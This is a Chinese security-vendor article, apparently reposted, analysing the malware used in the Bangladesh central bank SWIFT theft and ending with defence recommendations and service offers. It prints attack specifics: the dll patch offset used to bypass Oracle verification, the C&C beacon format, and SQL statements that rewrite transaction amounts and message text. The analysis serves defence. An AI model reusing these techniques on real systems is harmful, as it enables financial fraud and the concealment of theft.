神刀安全网

SWIFT银行结算系统攻击事件分析与防护方案

SWIFT银行结算系统攻击事件分析与防护方案

阅读: 29

近期,SWIFT银行结算系统频繁遭到网络安全威胁引起了全球网络安全界和金融界人士的高度关注。

SWIFT银行结算系统攻击事件分析与防护方案 图1 黑客利用SWIFT消息攻击全球银行系统线路图

互联网上已经有安全组织获取了相关攻击的样本和系统数据,通过分析,初步判定此类事件与2014年索尼影业娱乐公司好莱坞制片厂被黑事件的参与者Lazarus(黑客组织)有所关联。

SWIFT银行结算系统攻击事件分析与防护方案 图2 历史样本相似度分析

针对这些攻击事件,SWIFT与2015年5月27日宣布了新的客户方案,以加强针对网络威胁的安全防护。

  • 全球范围内信息共享,实现客户事件的快速反馈,提升网络防护能力。
  • 提升SWIFT相关工具的安全性。
  • 提供审计框架,制定相关的审计标准和认证程序,在客户现场进行安全管理。
  • 增加针对支付模式的安全监控。
  • 加强第三方供应商的安全支持。

什么是SWIFT?

SWIFT即环球银行金融电信协会(Society for Worldwide Interbank Financial Telecommunications),是一个国际银行间非盈利的国际合作组织, 提供与全球 200 多个国家/地区的 10,800 多家银行机构、证券机构和企业客户连接的通信平台、产品和服务。SWIFT 使其用户能够安全可靠地交换自动化、标准化金融信息,从而降低成本及运行风险,并消除操作低效问题。SWIFT 将金融业界带到一起,共同协作来制定市场惯例、定义标准,并讨论彼此共同关注的问题。

1973年5月,来自美国、加拿大和欧洲15个国家的239家银行宣布成立SWIFT,总部位于比利时首都布鲁塞尔。目前中国也是其会员国,国内加入该组织的银行为中国银行、中国工商银行、中国农业银行、中国建设银行、中国交通银行等。

SWIFT官方网址:https://www.swift.com/。

样本信息

本次样本为黑客攻击孟加拉央行窃取了8100万美元的恶意程序。 图3

SWIFT银行结算系统攻击事件分析与防护方案

执行概要

恶意样本将自身注册为服务,在SWIFT的软件套件下运行,对Oracle数据库进行了相关的操作,进行资金窃取。样本的主要功能包括:

  • 注册服务,样本以服务的形式执行。服务名:evtsys.exe
  • 更改liboradb.dll文件中的2个字节数据,修改该文件代码执行流程;
  • 文件操作,访问银行交易流水的LOG文件,获取交易的关键字段,作为数据库操作的参数;解密gpca.dat配置文件,获取恶意软件执行需要的环境、C&C Server等信息;
  • 网络行为,使用GET向C&C Server发送请求;
  • 数据库操作,获取Login/Logout信息,UPDATA账户金额。
  • 打印机操作。

SWIFT银行结算系统攻击事件分析与防护方案 图4 不同参数的执行功能

SWIFT银行结算系统攻击事件分析与防护方案 图5 窃取银行账户流程

样本结构

该样本是一个复合型样本,包含多个文件,目前所获取的文件为执行关键功能的PE文件。

SWIFT银行结算系统攻击事件分析与防护方案 图6 各个文件的基本信息介绍

行为分析

注册服务项

根据表中参数,其中参数为-svc时,执行此样本的关键功能,其代码如图4所示,其中包含网络行为、修改dll文件行为、数据库处理、文件操作等关键行为,其代码如图所示。

SWIFT银行结算系统攻击事件分析与防护方案 图7 注册服务项

SWIFT银行结算系统攻击事件分析与防护方案 图8 服务函数相关功能

修改dll文件行为

样本文件在执行过程中,列出所有包含liboradb.dll文件的进程(其中liboradb.dll为oracle数据库提供的dll文件),并对dll文件的偏移位置0x6A8B6的2byte进行更改,从而成功绕过数据库中的验证,其执行流程如图8所示。对应的修改dll文件2byte的代码片段如图9、图10所示。

SWIFT银行结算系统攻击事件分析与防护方案 图9 Oracle dll文件修改执行流程

SWIFT银行结算系统攻击事件分析与防护方案 图10 修改dll文件2byte代码

SWIFT银行结算系统攻击事件分析与防护方案 图11 更改偏移0x6A8B6处的代码

文件操作

根据表1中参数,其中参数为-t/-i/-u相关参数时,执行解密文件、移动文件等相关操作,其中具体的代码如图9所示。其中样本配置文件为gpca.dat,包含CC服务器及执行环境等关键内容,其解密代码如图12所示。

操作文件列表,图12: SWIFT银行结算系统攻击事件分析与防护方案

当操作余额时,会从上述列表中标黄的文件夹/文件下搜索文件中包含的关键字段,从而辅助后续的数据库相关操作。

搜索的关键字段,图13: SWIFT银行结算系统攻击事件分析与防护方案

SWIFT银行结算系统攻击事件分析与防护方案 图14 文件与数据库相关的参数

SWIFT银行结算系统攻击事件分析与防护方案 图15 gpca.dat文件操作

网络连接行为

样本执行过程中,若使用参数-t或者执行其他功能(如在后文所说的数据库操作相关行为中,发送监控到的login/logout行为)时会向CC服务器发送GET请求,其中发送的请求格式为:

[C&C_server]/%s?%s 示例:[C&C_server]/al?---O(某用户login成功)   

SWIFT银行结算系统攻击事件分析与防护方案 其具体的代码如图16所示。

数据库相关操作

恶意软件启动后,其中注册的服务还包含数据库更改相关操作,其中它获取了SWIFT信用证(‘BBHOBDDH’)持续性的监控日志记录,查看其中的登录/登出信息,若获取到登录失败的日志信息,暂停5s并继续查找,若获取登录成功信息,则连接远程CC主机发送请求。图12和图13显示了通过数据库监控login/logout的代码片段。图14显示了执行SQL语句,对转账后的信息进程更新的代码片段。

SWIFT银行结算系统攻击事件分析与防护方案 图17 持续监控登陆信息

SWIFT银行结算系统攻击事件分析与防护方案 图18 查找数据库中logout信息

SWIFT银行结算系统攻击事件分析与防护方案 图19 更新账户金额

其中,图19中的select语句中的%s所表示的字符串为查找IN/OUT文件夹下的非 .prc和 .fal文件中所包含的关键字段的结果,其中关键字段包括(代码如图所示):

"FIN 900 Confirmation of Debit" "20: Transaction" "Sender :" [其他关键字段包含在gpca.dat文件中]   

SWIFT银行结算系统攻击事件分析与防护方案 图20 关键字段

样本使用以下关键SQL语句对央行数据库进行转账操作:

SELECTMESG_S_UMIDFROMSAAOWNER.MESG_%s WHEREMESG_SENDER_SWIFT_ADDRESSLIKE '%%%s%%' AND MESG_FIN_CCY_AMOUNTLIKE '%%%s%%'; SELECTMESG_FIN_CCY_AMOUNTFROMSAAOWNER.MESG_%s WHEREMESG_S_UMID = '%s'; UPDATESAAOWNER.MESG_%s SETMESG_FIN_CCY_AMOUNT = '%s' WHEREMESG_S_UMID = '%s'; UPDATESAAOWNER.TEXT_%s SETTEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s') WHERETEXT_S_UMID = '%s';   

打印机行为

根据表中参数,其中参数为-p相关参数时,执行打印机相关的操作,包括暂停、恢复、连接打印机、断开打印机、枚举打印机任务等行为,具体代码如图20所示。其中queue功能枚举打印任务并打印,部分代码如图21所示。

SWIFT银行结算系统攻击事件分析与防护方案 图21 打印机操作

SWIFT银行结算系统攻击事件分析与防护方案 图22 queue功能中包含的枚举打印机进程并打印相关代码

防护方案

基于绿盟科技多年在金融行业的安全积累,及针对上述特种木马后面的样本分析,我们建议对于此类安全威胁事件,相关行方应从下面几个角度进行安全防范:

  • 建立未知威胁发现的技术体系

由于该类行为属于针对具体目标的特种攻击,虽在多个银行中均有不同程度的发现,但随着事件的曝光,攻击者必然对恶意程序或攻击模式作出相应调整,因此防护此类攻击并无固定规则可寻,重要的是如何发现针对行方自身的特种攻击迹象。绿盟科技推荐采用未知威胁发现的技术方案。

该方案主要利用虚拟沙盒+本地信誉结合的识别防护方式,即当可疑的文件、操作被发现后,迅速通过信誉机制(IP信誉、文件信誉等)将其阻拦,即可避免该行为对swift有进一步的操作。下图为绿盟未知威胁发现系统TAC对本次事件的恶意软件样本在后台执行的时候,所发现的可疑操作:

SWIFT银行结算系统攻击事件分析与防护方案

可以看到该恶意软件为一“exe”可执行程序,并且列举出了其执行环境和MD5值,再通过下图可以看到该软件执行后,涉及的后续操作:

SWIFT银行结算系统攻击事件分析与防护方案

通过该系统的监控报告,可进一步联动入侵防御系统IPS或其他网关防护类设备,对该可疑程序(文件信誉)或可疑IP进行封堵,即可防护该类攻击。

  • 加固现有系统,提升整体网络环境安全级别

1) swift本身是一个专有网络平台,攻击者很难直接接触,因此银行基础网络变成了攻击者渗透的第一目标,在行内,要对能与swift平台通信的终端、服务器等做重点加固和扫描,避免攻击者以此作为跳板;2) 时刻关注swift的安全动态,及时进行版本升级和安全加固。

  • 增强内部系统安全巡检,提升员工安全意识

对于专有系统和网络的攻击,经常伴随着社工、员工安全意识低下、安全流程不规范等问题,因此,及时总结近期的安全威胁,加强人工审核,安全巡检,有必要可以定期开展安全应急演练、安全培训等工作,也能有效降低安全事件发生的概率。

  • 绿盟科技检测服务

1) 绿盟科技工程师前往客户现场检测。2) 绿盟科技在线云检测,登陆绿盟科技云,申请极光自助扫描服务试用。 https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?pid=0&sid=0

  • 绿盟科技木马专杀解决方案

1) 短期服务:绿盟科技工程师现场木马后门清理服务(人工服务+IPS+TAC)。确保第一时间消除网络内相关风险点,控制事件影响范围,提供事件分析报告。

2) 中期服务:提供3-6个月的风险监控与巡检服务(IPS+TAC+人工服务)。根除风险,确保事件不复发。

3) 长期服务:基金行业业务风险解决方案(威胁情报+攻击溯源+专业安全服务)

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以

加入QQ群:486207500

直接询问:010-68438880-8669

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » SWIFT银行结算系统攻击事件分析与防护方案

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址